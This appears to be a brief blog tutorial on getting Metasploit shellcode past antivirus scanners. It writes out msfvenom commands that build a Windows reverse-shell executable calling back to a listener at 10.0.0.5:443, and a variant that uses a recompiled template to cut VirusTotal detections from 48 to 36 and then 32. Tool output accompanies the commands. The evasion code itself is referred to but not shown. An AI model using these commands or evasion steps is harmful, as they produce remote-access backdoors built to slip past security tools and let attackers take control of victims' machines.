This is a quick look at a couple of simple ways that attempt to bypass antivirus vendors for your shellcodes.
48/68 detections
For a baseline test, let's generate the standard MSF reverse shell payload for a 32 bit Windows system:
root@~# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f exe > /root/tools/av.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Checking the file in VirusTotal gives the following detection rate:
36/68 detections
When generating metasploit payloads, our specified shellcode gets injected into the template binaries. The payload we generated earlier got injected into the template for which the source code is provided below:
Out of curiosity, let's simply recompile the standard template:
...and regenerate the payload using the newly compiled template:
root@~# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -x /usr/share/metasploit-framework/data/templates/src/pe/exe/avbypass.exe -f exe > /root/tools/avbypass.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 363382 bytes
VirusTotal detections for the new executable dropped from 48 to 36 and that did not require any code change!
32/66 detections
If we make a couple of small changes to the code for memory allocation sizes:
...it seems that we can further reduce VirusTotal detections albeit not by much - this time they drop from 36 to 32:
